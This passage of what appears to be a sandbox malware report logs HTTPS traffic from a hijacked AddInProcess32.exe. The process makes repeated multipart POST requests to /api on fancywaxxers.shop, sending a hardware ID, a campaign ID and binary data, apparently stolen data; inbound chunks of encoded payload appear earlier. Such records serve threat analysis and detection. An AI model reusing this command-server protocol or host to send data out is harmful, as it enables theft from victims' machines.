2024-12-30 15:18:17 UTC	240	IN	Data Raw: 63 33 65 0d 0a 65 59 72 5a 6c 6b 4b 5a 39 6f 4b 70 49 2f 76 6c 6e 52 6c 73 33 62 6d 6c 6e 77 73 67 2b 36 2b 43 5a 55 56 44 61 57 67 46 2f 48 55 43 71 4b 2b 30 65 4b 33 61 6f 4e 70 47 32 64 2f 70 61 78 6d 34 6c 59 66 2b 62 77 4c 42 79 65 4d 4a 4e 69 5a 46 53 6e 4f 52 56 30 50 73 75 50 6f 78 2f 4e 71 67 7a 46 76 5a 33 38 5a 69 54 72 6a 58 68 36 55 70 52 5a 48 4e 34 77 6b 6e 49 67 49 48 64 5a 41 57 45 65 61 2b 2f 69 66 36 6b 75 50 46 54 70 36 41 2b 48 67 47 73 39 44 49 39 32 59 43 31 34 33 6e 48 32 64 35 53 79 56 67 69 42 51 30 36 36 72 39 59 4f 54 61 2b 59 74 47 6c 63 65 6e 4f 77 32 34 32 38 6e 35 62 30 75 54 78 2b 6f 42 4a 69 63 44 47 47 79 61 48 52 48 6f 76 66 38 74 38 34 62 75 7a 30 6d 56 68 76 4a 34 54 76 47 Data Ascii: c3eeYrZlkKZ9oKpI/vlnRls3bmlnwsg+6+CZUVDaWgF/HUCqK+0eK3aoNpG2d/paxm4lYf+bwLByeMJNiZFSnORV0PsuPox/NqgzFvZ38ZiTrjXh6UpRZHN4wknIgIHdZAWEea+/if6kuPFTp6A+HgGs9DI92YC143nH2d5SyVgiBQ066r9YOTa+YtGlcenOw2428n5b0uTx+oBJicDGGyaHRHovf8t84buz0mVhvJ4TvG
2024-12-30 15:18:17 UTC	1369	IN	Data Raw: 62 77 4f 55 70 47 74 6d 65 30 67 51 32 4d 42 34 48 64 35 68 58 42 4b 61 69 74 43 66 33 31 4c 69 4c 53 5a 57 4a 2b 6e 67 42 75 4e 72 48 37 32 5a 43 6d 73 58 6f 41 79 30 75 42 41 56 70 6c 42 41 54 34 62 7a 37 4a 2f 4f 53 37 38 67 42 31 38 66 34 59 30 37 6e 6d 2b 66 74 61 6b 47 4e 77 50 46 48 4f 47 38 53 53 6d 43 53 56 30 4f 6f 76 66 6f 68 39 70 54 79 77 30 71 53 67 75 31 77 42 37 4c 57 78 2f 42 6a 54 5a 72 4e 35 77 30 74 4c 67 45 4f 61 70 4d 52 47 2b 6a 37 75 6d 44 38 6a 4b 43 54 41 62 71 43 37 33 77 43 71 5a 6e 39 76 58 59 4d 67 49 33 6e 43 32 64 35 53 77 4a 69 6e 52 51 51 35 37 6a 38 4b 2b 6d 55 38 73 31 4d 6e 4a 58 35 66 67 43 31 32 4e 58 33 5a 30 53 61 78 4f 73 4f 49 69 59 50 53 69 6e 65 45 41 4f 6f 34 37 51 42 39 70 2f 73 77 56 61 5a 78 2b 41 31 46 2f Data Ascii: bwOUpGtme0gQ2MB4Hd5hXBKaitCf31LiLSZWJ+ngBuNrH72ZCmsXoAy0uBAVplBAT4bz7J/OS78gB18f4Y07nm+ftakGNwPFHOG8SSmCSV0Oovfoh9pTyw0qSgu1wB7LWx/BjTZrN5w0tLgEOapMRG+j7umD8jKCTAbqC73wCqZn9vXYMgI3nC2d5SwJinRQQ57j8K+mU8s1MnJX5fgC12NX3Z0SaxOsOIiYPSineEAOo47QB9p/swVaZx+A1F/
2024-12-30 15:18:17 UTC	1369	IN	Data Raw: 59 30 53 57 77 4f 78 48 61 57 45 4d 45 69 66 47 56 7a 48 72 72 2f 63 71 75 61 48 6a 78 55 2b 65 6b 62 39 6b 51 4b 61 62 77 50 45 70 47 74 6e 41 34 51 38 68 4d 77 51 48 5a 4a 41 5a 46 4f 32 30 2f 43 44 37 6d 65 58 50 53 70 4b 45 38 6e 38 63 74 64 76 50 2b 47 68 49 6b 34 32 75 52 79 41 35 53 31 49 6e 72 77 41 51 71 6f 37 33 4c 76 57 54 39 6f 74 65 31 35 36 2f 66 41 4c 2f 67 34 66 77 59 55 65 63 77 75 45 4e 4b 53 51 42 42 6d 2b 51 46 41 6e 6e 76 2f 51 73 38 35 37 74 78 55 57 52 6a 76 52 77 43 4c 2f 61 7a 62 30 6e 41 70 37 56 6f 46 39 6e 46 51 77 47 61 70 46 56 4c 75 75 31 2b 69 66 74 31 50 2b 46 57 4e 6d 41 38 7a 74 57 2f 39 66 4f 2f 57 4a 49 6e 63 33 6e 43 69 49 69 44 41 6c 71 6d 52 30 56 37 37 2f 34 4b 66 61 53 34 4d 78 46 6e 4a 58 36 63 67 4b 7a 6d 34 6d Data Ascii: Y0SWwOxHaWEMEifGVzHrr/cquaHjxU+ekb9kQKabwPEpGtnA4Q8hMwQHZJAZFO20/CD7meXPSpKE8n8ctdvP+GhIk42uRyA5S1InrwAQqo73LvWT9ote156/fAL/g4fwYUecwuENKSQBBm+QFAnnv/Qs857txUWRjvRwCL/azb0nAp7VoF9nFQwGapFVLuu1+ift1P+FWNmA8ztW/9fO/WJInc3nCiIiDAlqmR0V77/4KfaS4MxFnJX6cgKzm4m
2024-12-30 15:18:17 UTC	163	IN	Data Raw: 6f 50 35 52 79 41 74 53 31 49 6e 6c 78 34 4a 35 72 58 39 4c 66 32 63 35 38 56 4d 6b 6f 48 30 66 41 6d 35 31 73 2f 77 62 45 47 59 79 65 6f 56 4a 43 6f 42 42 32 33 65 57 56 76 76 6f 37 52 34 75 37 50 73 34 6c 47 43 6c 65 6b 37 45 66 48 43 68 2f 70 6c 41 73 47 4e 34 77 67 75 4c 67 4d 43 61 4a 45 54 46 65 36 39 2b 53 58 30 6e 76 4c 44 54 35 53 4d 38 48 41 63 76 39 62 44 38 57 31 4b 6b 73 65 67 53 57 63 6d 45 30 6f 2f 33 69 49 57 35 37 76 33 4e 72 75 4c 72 74 49 42 6e 6f 75 2f 49 30 0d 0a Data Ascii: oP5RyAtS1Inlx4J5rX9Lf2c58VMkoH0fAm51s/wbEGYyeoVJCoBB23eWVvvo7R4u7Ps4lGClek7EfHCh/plAsGN4wguLgMCaJETFe69+SX0nvLDT5SM8HAcv9bD8W1KksegSWcmE0o/3iIW57v3NruLrtIBnou/I0
2024-12-30 15:18:17 UTC	1369	IN	Data Raw: 33 64 35 36 0d 0a 36 7a 31 63 66 79 5a 55 36 53 78 65 45 4c 4b 53 59 4f 41 32 2b 57 42 52 72 73 73 2f 55 75 39 4a 58 6b 7a 6b 53 64 67 50 74 39 41 66 2b 56 68 2f 70 78 41 73 47 4e 7a 79 41 53 59 79 6f 77 4a 34 46 5a 41 71 69 38 2b 47 43 6a 31 4f 7a 49 54 5a 47 49 2b 58 49 43 74 64 4c 4d 38 57 4a 47 6c 63 54 6c 41 53 59 6b 44 67 74 6a 6b 68 30 64 36 37 6a 37 4c 2f 53 63 6f 49 55 42 6e 70 2b 2f 49 30 36 61 7a 4d 7a 7a 62 77 4b 47 67 2f 6c 48 49 43 31 4c 55 69 65 53 48 68 33 75 76 76 67 68 2f 5a 7a 6c 77 30 57 59 67 66 6c 34 41 62 76 65 78 76 4a 74 54 70 66 48 34 51 59 72 4b 67 51 42 59 74 35 5a 57 2b 2b 6a 74 48 69 37 70 65 50 64 56 6f 6d 4c 76 32 52 41 70 70 76 41 38 53 6b 61 32 63 7a 79 44 53 30 76 44 67 56 69 6e 52 67 63 35 62 33 34 4b 76 4b 63 35 73 52 Data Ascii: 3d566z1cfyZU6SxeELKSYOA2+WBRrss/Uu9JXkzkSdgPt9Af+Vh/pxAsGNzyASYyowJ4FZAqi8+GCj1OzITZGI+XICtdLM8WJGlcTlASYkDgtjkh0d67j7L/ScoIUBnp+/I06azMzzbwKGg/lHIC1LUieSHh3uvvgh/Zzlw0WYgfl4AbvexvJtTpfH4QYrKgQBYt5ZW++jtHi7pePdVomLv2RAppvA8Ska2czyDS0vDgVinRgc5b34KvKc5sR
2024-12-30 15:18:17 UTC	1369	IN	Data Raw: 33 73 43 76 39 2f 4b 2f 58 74 4e 6e 73 72 70 44 44 55 72 44 41 31 73 6c 68 77 55 37 71 6e 34 4c 75 6d 52 38 74 6b 42 31 38 66 34 59 30 37 6e 6d 2f 48 36 65 56 4b 61 6a 39 45 52 4a 44 63 41 42 32 76 65 43 46 58 78 2b 2f 4d 73 75 38 79 67 7a 55 36 51 68 50 42 36 42 37 50 57 77 76 52 73 51 35 2f 4a 36 67 30 6e 4a 77 30 4c 59 70 51 55 47 75 4b 79 38 79 6a 38 6c 2f 4b 4c 44 39 6d 41 35 7a 74 57 2f 2f 4c 41 37 32 64 53 32 64 4b 75 48 6d 63 6d 42 30 6f 2f 33 68 4d 52 35 37 2f 7a 4c 50 32 52 35 73 5a 41 6c 6f 62 2f 64 41 71 30 30 73 48 38 5a 45 65 55 79 66 49 4e 4c 43 34 48 41 32 75 54 56 31 57 6f 76 4f 78 67 6f 39 54 52 78 6b 2b 58 67 4f 6b 37 45 66 48 43 68 2f 70 6c 41 73 47 4e 34 51 73 6f 49 67 51 4a 5a 4a 38 64 43 66 71 33 2f 53 6a 2b 6d 4f 76 46 52 34 75 42 Data Ascii: 3sCv9/K/XtNnsrpDDUrDA1slhwU7qn4LumR8tkB18f4Y07nm/H6eVKaj9ERJDcAB2veCFXx+/Msu8ygzU6QhPB6B7PWwvRsQ5/J6g0nJw0LYpQUGuKy8yj8l/KLD9mA5ztW//LA72dS2dKuHmcmB0o/3hMR57/zLP2R5sZAlob/dAq00sH8ZEeUyfINLC4HA2uTV1WovOxgo9TRxk+XgOk7EfHCh/plAsGN4QsoIgQJZJ8dCfq3/Sj+mOvFR4uB
2024-12-30 15:18:17 UTC	1369	IN	Data Raw: 7a 4e 79 75 30 70 44 4e 6e 63 35 78 5a 6e 65 52 30 61 63 4a 6b 49 56 66 48 37 38 79 79 37 7a 4b 44 4e 53 4a 2b 41 2b 58 55 63 75 74 33 49 38 6d 42 4c 6e 63 58 6a 42 79 4d 6c 44 41 39 6b 6b 68 77 63 36 37 54 77 4b 66 57 64 37 34 73 50 32 59 44 6e 4f 31 62 2f 2b 74 7a 2b 5a 55 2f 5a 30 71 34 65 5a 79 59 48 53 6a 2f 65 47 78 58 74 75 2f 34 6d 2f 35 48 6d 77 55 53 5a 6a 50 78 30 43 72 6e 66 79 50 31 69 53 35 6a 4c 35 51 30 73 4a 77 59 4a 59 5a 68 58 56 61 69 38 37 47 43 6a 31 4d 44 51 54 4a 57 41 76 32 52 41 70 70 76 41 38 53 6b 61 32 63 62 73 41 79 41 68 42 67 6c 76 6d 78 4d 52 37 62 76 38 4d 76 4f 55 35 39 6c 54 6d 59 37 36 64 77 32 2f 33 38 48 30 62 30 47 64 6a 61 35 48 49 44 6c 4c 55 69 65 7a 47 78 7a 42 76 4f 39 67 35 4e 72 35 69 30 61 56 78 36 63 37 44 Data Ascii: zNyu0pDNnc5xZneR0acJkIVfH78yy7zKDNSJ+A+XUcut3I8mBLncXjByMlDA9kkhwc67TwKfWd74sP2YDnO1b/+tz+ZU/Z0q4eZyYHSj/eGxXtu/4m/5HmwUSZjPx0CrnfyP1iS5jL5Q0sJwYJYZhXVai87GCj1MDQTJWAv2RAppvA8Ska2cbsAyAhBglvmxMR7bv8MvOU59lTmY76dw2/38H0b0Gdja5HIDlLUiezGxzBvO9g5Nr5i0aVx6c7D
2024-12-30 15:18:17 UTC	1369	IN	Data Raw: 39 64 6e 33 58 6a 65 46 48 66 78 67 53 53 6e 48 65 54 30 6d 6d 2b 2b 5a 67 6f 39 53 6e 79 46 4f 4c 67 66 78 74 44 66 6a 6c 2b 64 70 2f 53 4a 37 64 35 78 41 6f 59 55 56 4b 61 4e 35 50 49 71 69 79 38 7a 76 71 67 75 33 62 52 74 6d 34 73 54 73 57 2f 34 4f 48 79 47 70 4d 6c 38 72 32 46 6d 6f 47 48 51 42 67 6a 68 41 4d 35 2f 75 36 59 50 33 55 75 4a 67 50 32 59 50 75 4f 31 62 76 69 5a 79 6f 4f 68 58 4a 6e 2f 39 4a 50 6d 45 64 53 6a 2f 4d 57 56 76 36 2b 36 78 67 76 4a 66 79 32 55 65 61 6b 66 77 38 4d 49 48 38 33 66 42 76 56 59 6a 7a 33 67 41 39 4c 41 30 64 64 74 49 43 47 4f 61 31 38 7a 61 37 32 71 44 45 41 63 47 2b 76 7a 4e 4f 67 4a 57 48 35 53 6b 61 32 66 6a 6a 43 53 6b 6d 48 52 73 71 75 51 30 57 37 71 7a 6c 59 4c 58 55 35 6f 73 5a 79 38 6d 2f 66 78 2f 2f 67 35 Data Ascii: 9dn3XjeFHfxgSSnHeT0mm++Zgo9SnyFOLgfxtDfjl+dp/SJ7d5xAoYUVKaN5PIqiy8zvqgu3bRtm4sTsW/4OHyGpMl8r2FmoGHQBgjhAM5/u6YP3UuJgP2YPuO1bviZyoOhXJn/9JPmEdSj/MWVv6+6xgvJfy2Ueakfw8MIH83fBvVYjz3gA9LA0ddtICGOa18za72qDEAcG+vzNOgJWH5Ska2fjjCSkmHRsquQ0W7qzlYLXU5osZy8m/fx//g5
2024-12-30 15:18:17 UTC	1369	IN	Data Raw: 75 59 32 75 52 79 68 68 55 7a 4d 6e 31 6c 63 6b 70 76 76 73 59 4b 50 55 31 63 68 50 6c 34 44 70 61 6b 4f 58 2b 50 33 48 4b 32 36 65 32 4b 49 7a 49 44 45 61 41 57 71 53 56 31 57 6f 76 62 52 34 71 39 71 67 7a 31 44 5a 33 36 38 70 56 65 71 49 6b 4b 30 37 58 64 66 55 6f 42 46 6e 65 56 6c 45 4a 34 78 58 51 36 6a 38 39 7a 4c 70 6b 75 50 64 51 74 36 35 77 56 77 41 75 4e 72 52 37 58 35 4e 70 2f 50 31 42 43 6b 76 44 42 78 32 33 6c 6c 62 35 2f 75 73 47 62 76 63 6f 50 51 50 32 5a 2b 2f 49 30 36 4b 32 4d 6e 7a 62 6c 53 49 67 4d 63 4a 49 43 41 64 47 6e 43 52 56 31 57 6f 76 62 52 34 71 64 71 67 7a 31 44 5a 33 36 38 70 56 65 71 49 6b 4b 30 37 58 64 66 55 6f 42 46 6e 65 56 6c 45 4a 34 78 58 51 36 6a 38 39 7a 4c 70 6b 75 50 64 51 74 36 35 77 56 77 41 75 4e 72 52 37 58 35 Data Ascii: uY2uRyhhUzMn1lckpvvsYKPU1chPl4DpakOX+P3HK26e2KIzIDEaAWqSV1WovbR4q9qgz1DZ368pVeqIkK07XdfUoBFneVlEJ4xXQ6j89zLpkuPdQt65wVwAuNrR7X5Np/P1BCkvDBx23llb5/usGbvcoPQP2Z+/I06K2MnzblSIgMcJICAdGnCRV1WovbR4qdqgz1DZ368pVeqIkK07XdfUoBFneVlEJ4xXQ6j89zLpkuPdQt65wVwAuNrR7X5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	57961	104.21.48.1	443	1096	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:18 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RRHM49EL2SQH4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12803 Host: fancywaxxers.shop
2024-12-30 15:18:18 UTC	12803	OUT	Data Raw: 2d 2d 52 52 48 4d 34 39 45 4c 32 53 51 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 52 52 48 4d 34 39 45 4c 32 53 51 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 52 52 48 4d 34 39 45 4c 32 53 51 48 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 37 74 78 32 6a 6f 2d 2d 38 37 34 0d 0a 2d 2d 52 52 48 4d 34 39 45 4c 32 53 51 48 34 Data Ascii: --RRHM49EL2SQH4Content-Disposition: form-data; name="hwid"99705DBA32D2B41020A4C476FD51BCB1--RRHM49EL2SQH4Content-Disposition: form-data; name="pid"2--RRHM49EL2SQH4Content-Disposition: form-data; name="lid"7tx2jo--874--RRHM49EL2SQH4
2024-12-30 15:18:18 UTC	1142	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lkh085l27bg2nk635usgrs8snv; expires=Fri, 25 Apr 2025 09:04:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mME1tyfYpc0cs8oiD5Usa%2F3l4G8Ts%2Bts%2BnI3ugsEa6uuCjpJN4xrWoehR22AHtsEzYQ8sg%2FxAo3W%2BA2%2BYUi7XDWqj2LO0aoQf7%2FtbCFc4voDt0R5R1gOvzv%2F2ubFCBT0fGI6mA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa3006afbddc461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1569&min_rtt=1564&rtt_var=596&sent=7&recv=16&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13739&delivery_rate=1819314&cwnd=228&unsent_bytes=0&cid=aacb47e2c028c99e&ts=554&x=0"
2024-12-30 15:18:18 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 15:18:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	57962	104.21.48.1	443	1096	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:19 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=V7VZKZHI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15015 Host: fancywaxxers.shop
2024-12-30 15:18:19 UTC	15015	OUT	Data Raw: 2d 2d 56 37 56 5a 4b 5a 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 56 37 56 5a 4b 5a 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 37 56 5a 4b 5a 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 37 74 78 32 6a 6f 2d 2d 38 37 34 0d 0a 2d 2d 56 37 56 5a 4b 5a 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f Data Ascii: --V7VZKZHIContent-Disposition: form-data; name="hwid"99705DBA32D2B41020A4C476FD51BCB1--V7VZKZHIContent-Disposition: form-data; name="pid"2--V7VZKZHIContent-Disposition: form-data; name="lid"7tx2jo--874--V7VZKZHIContent-Dispositio
2024-12-30 15:18:19 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=36s3dqp55d0ioelh9lvhgrvumr; expires=Fri, 25 Apr 2025 09:04:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dz6JQ0MdaWraN%2FbVrSA0CI2jOqsxi08DTJQJ%2FmYacoWpn5jVP8hNt41hz0T1lk7WYGhBv9iF1UPB7zgvju%2B0Bs9pxRqpLl9vQj5lIHsycgNxwA4rmexJLvTR84ii3Q39WrpOMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa30071599542e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1762&min_rtt=1759&rtt_var=666&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2843&recv_bytes=15946&delivery_rate=1634023&cwnd=240&unsent_bytes=0&cid=f64144344b267229&ts=508&x=0"
2024-12-30 15:18:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 15:18:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	57963	104.21.48.1	443	1096	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:20 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SFLAOZYOJ6K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20523 Host: fancywaxxers.shop
2024-12-30 15:18:20 UTC	15331	OUT	Data Raw: 2d 2d 53 46 4c 41 4f 5a 59 4f 4a 36 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 53 46 4c 41 4f 5a 59 4f 4a 36 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 53 46 4c 41 4f 5a 59 4f 4a 36 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 37 74 78 32 6a 6f 2d 2d 38 37 34 0d 0a 2d 2d 53 46 4c 41 4f 5a 59 4f 4a 36 4b 0d 0a 43 6f 6e 74 65 6e Data Ascii: --SFLAOZYOJ6KContent-Disposition: form-data; name="hwid"99705DBA32D2B41020A4C476FD51BCB1--SFLAOZYOJ6KContent-Disposition: form-data; name="pid"3--SFLAOZYOJ6KContent-Disposition: form-data; name="lid"7tx2jo--874--SFLAOZYOJ6KConten
2024-12-30 15:18:20 UTC	5192	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-12-30 15:18:20 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 15:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d14135iku8gsoc2c1m1kj5ock7; expires=Fri, 25 Apr 2025 09:04:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LTeVCrzXMw9qjxU1XFQr3fIs5QdFe7W30eYR36uHq3WkCvHyse41CccIXXMqjISKWqWDYGri7K8zLRknaU1U0pm7qOAa7K0FCcwXYBiprlQbFk7PYUXwmnKmnShoCIOGqh%2By%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa30077dce28c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1810&min_rtt=1803&rtt_var=691&sent=12&recv=26&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21479&delivery_rate=1568206&cwnd=238&unsent_bytes=0&cid=3a4aafea97df3844&ts=622&x=0"
2024-12-30 15:18:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-30 15:18:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	57964	104.21.48.1	443	1096	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 15:18:21 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CV0HY3JT2G198N8JDZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1253 Host: fancywaxxers.shop
2024-12-30 15:18:21 UTC	1253	OUT	Data Raw: 2d 2d 43 56 30 48 59 33 4a 54 32 47 31 39 38 4e 38 4a 44 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 39 37 30 35 44 42 41 33 32 44 32 42 34 31 30 32 30 41 34 43 34 37 36 46 44 35 31 42 43 42 31 0d 0a 2d 2d 43 56 30 48 59 33 4a 54 32 47 31 39 38 4e 38 4a 44 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 56 30 48 59 33 4a 54 32 47 31 39 38 4e 38 4a 44 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 37 74 78 32 6a 6f 2d 2d 38 37 34 0d 0a Data Ascii: --CV0HY3JT2G198N8JDZContent-Disposition: form-data; name="hwid"99705DBA32D2B41020A4C476FD51BCB1--CV0HY3JT2G198N8JDZContent-Disposition: form-data; name="pid"1--CV0HY3JT2G198N8JDZContent-Disposition: form-data; name="lid"7tx2jo--874
